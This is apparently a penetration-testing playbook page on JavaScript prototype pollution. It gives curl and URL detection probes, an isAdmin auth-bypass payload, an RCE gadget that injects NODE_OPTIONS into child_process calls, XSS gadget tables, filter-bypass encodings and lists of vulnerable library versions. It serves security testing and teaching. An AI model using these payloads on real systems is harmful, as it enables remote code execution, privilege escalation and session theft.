WEB15 Prototype Pollution

Sections WEB15 Prototype Pollution

JavaScript-specific. Setting __proto__ or constructor.prototype properties on an object pollutes the prototype of ALL objects of that class. Gadgets in libraries turn that into RCE (server) or XSS (client).

T=https://target.com

i. Where it lives

Prototype pollution requires a code pattern like:

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      merge(target[key], source[key]);   // recursive - pollutes if source has __proto__
    } else {
      target[key] = source[key];
    }
  }
}

Common surfaces:

  • JSON merge / extend / clone helpers (lodash _.merge, jQuery $.extend(true, ...), deep-extend, deeply)
  • Object.assign-like helpers that recursively merge user input
  • Express middleware that merges req.body into options
  • Query string parsers (qs, querystring, express body parser) - controller actions that take entire object directly into merge
  • Configuration loaders that merge user JSON into defaults
  • Mongoose pre-save hooks that merge user data
  • React/Vue prop merging in libraries

Two flavors:

  • Server-side (Node.js apps) → RCE via gadget
  • Client-side (any JS in the browser) → XSS via gadget

ii. Server-side detection

When the app accepts JSON, send:

{"__proto__": {"polluted": "yes"}}

Or for stacked / nested attacks:

{"constructor": {"prototype": {"polluted": "yes"}}}

Then make a separate, unrelated request to ANY endpoint that returns JSON. If polluted: "yes" appears in an unrelated response → vuln confirmed.

Alternative test - pollute a common Node.js HTTP option:

{"__proto__": {"_method": "PUT"}}

Then make a subsequent request. If Express interprets the method as PUT despite POST → polluted.

Or check Node.js global flags:

{"__proto__": {"isAdmin": true}}

Make a follow-up authenticated request. If isAdmin is now true → polluted.

iii. Server-side detection one-liner

Single curl probe + read of any reflected response. Both __proto__ and constructor.prototype need testing:

## Pollute:
curl -X POST "$T/api/users" -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

## Read back from any endpoint:
curl -s "$T/api/me" | jq
## isAdmin shows up where it shouldn't

Some apps need a server restart for the pollution to clear - note this when reporting (persistence model).

iv. Tools

PPMap / ppmap

Detects pollutions on Express-style apps:

git clone https://github.com/y0giii/Server-Side-Prototype-Pollution-Gadgets
## Various tools in there for testing common gadgets

The tooling space for server-side PP is still maturing - manual is more reliable than automated tools for now.

DOM Invader (Burp Pro)

Best client-side PP detection. Enable in Burp’s Chromium → Settings → DOM Invader → Enable Prototype Pollution. Browse the target. DOM Invader reports every controllable source-to-pollution-sink path it sees.

nuclei + custom templates

nuclei -u "$T" -tags pp,prototype

Catches common patterns like the Express body parser merge bugs.

PortSwigger’s PP scanner (Burp Pro)

Active scanner audit phase covers server-side PP.

v. Client-side prototype pollution

DOM PP happens when client JS does merges with location.hash, location.search, window.name, postMessage data, or any other client-controllable input.

Probe via URL:

https://target.com/#__proto__[polluted]=yes
https://target.com/?__proto__[polluted]=yes
https://target.com/#?__proto__.polluted=yes

In browser console after visit:

console.log(Object.prototype.polluted)   // "yes" → vuln

DOM Invader handles this automatically - paste the target URL, watch for findings.

vi. From pollution to impact

Pollution alone is harmless. You need a “gadget” - application code that later reads a property and assumes it doesn’t exist.

Server-side RCE gadgets

The classic Node.js RCE gadget involves polluting properties that get used in child_process.spawn() / child_process.exec() calls with the options parameter:

{
  "__proto__": {
    "shell": "/bin/sh",
    "argv0": "node",
    "env": {"NODE_OPTIONS": "--require /tmp/payload.js"}
  }
}

When the app later calls child_process.exec('ls') with no options, the polluted prototype provides shell, argv0, and env, leading to code execution via NODE_OPTIONS injection.

The full chain depends on libraries loaded. Look at:

Common library-specific gadgets:

  • lodash.template - polluted options enable code execution
  • ejs.render - polluted options inject code
  • handlebars - polluted helpers
  • mongoose queries - pollution affects model behavior
  • express-validator config

Client-side XSS gadgets

Pollute properties that later end up in innerHTML, eval(), document.write(), or as a src attribute:

GadgetPollution that triggers XSS
jQuery 3.0-3.4.0 $()__proto__[context]
Embed.ly__proto__[allowedMediaTypes]
Google Analyticsvaries by gadget
Various Vue / Angular configsper-version

Check client-side-prototype-pollution for an enumerated list. The site gives you “if this library is loaded, here’s the pollution that triggers XSS.”

Auth bypass gadgets

Property checks like if (!user.isAdmin) become permissive when prototype pollution sets isAdmin: true globally. Test by polluting then accessing privileged endpoints.

vii. Detection probes table

Test all of these (different parsers handle each differently):

?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
?constructor.prototype.polluted=yes

# JSON body:
{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}

# Nested:
{"a":{"b":{"__proto__":{"polluted":"yes"}}}}

Different middleware exposes different ones. Trying all four common formats covers most cases.

viii. Tricks worth knowing

Persistence and propagation

Once polluted, the prototype stays polluted for the lifetime of that Node.js process. The next 1000 requests inherit your pollution. This is also its detection mechanism - pollute first, observe later.

After-effect testing

Don’t just check the response to the polluting request. The pollution effect is on SUBSEQUENT requests. Send the pollution request, then 5-10 follow-up requests to various endpoints. Watch for unusual responses where expected fields appear with your polluted values.

Type coercion abuse

Pollute boolean / numeric checks:

{"__proto__": {"length": -1}}

Loops with for (let i = 0; i < arr.length; i++) may misbehave. Useful for race conditions and bypassing length-based checks.

Multiple-stage chains

First pollute prototype, then exploit a separate input that becomes RCE because the polluted defaults activate. Two-step attacks are harder to detect but common in real apps.

Object.create(null) is safe

Objects created with Object.create(null) have no prototype chain. Code using these isn’t vulnerable. Frameworks shifting to this pattern post-2020 are partly closing the bug class.

Combine with JSON deserialization

JSON.parse doesn’t pollute. But once parsed, recursive helpers (merge/extend/clone) DO. Look for code that JSON.parses input then merges into config - the merge is where pollution lands.

Use jsfuck-like obfuscation for filter bypass

Some apps filter __proto__ or constructor literals. Bypass:

\u005f\u005fproto\u005f\u005f
constructor.constructor

JSON parsers accept Unicode escapes that don’t appear as __proto__ in string scanning.

ix. Library-specific notes

LibraryNote
lodash < 4.17.5_.merge, _.set, _.defaultsDeep all vulnerable
lodash >= 4.17.12__proto__ blocked, constructor.prototype still works in some versions
jQuery < 3.4.0$.extend(true, ...) vulnerable
express-validator < 6.6.1Body sanitization PP
qs (via Express) < 6.7.3Query parsing PP
mongoose < 6.4.6Document.toObject PP gadget
dot-prop < 5.1.1All set ops vulnerable
handlebarsMultiple gadgets per version
ejsPolluted options → RCE

Check package-lock.json if you have source access. The vulnerable version is often still pinned.

x. References

xi. Where it leads

  • Server-side RCE via gadget → standard Node.js foothold → 03 Shell & Tooling / Reverse Shells
  • Client-side XSS via gadget → session theft → see WEB08 XSS
  • Auth bypass (isAdmin pollution) → privilege escalation in-app
  • Data exposure (default property pollution affects queries/serialization)

Prototype pollution sits between deserialization and XSS - JavaScript-specific, requires gadgets, but a top-tier finding when it lands because it’s wide-ranging and often missed by AppSec scanners.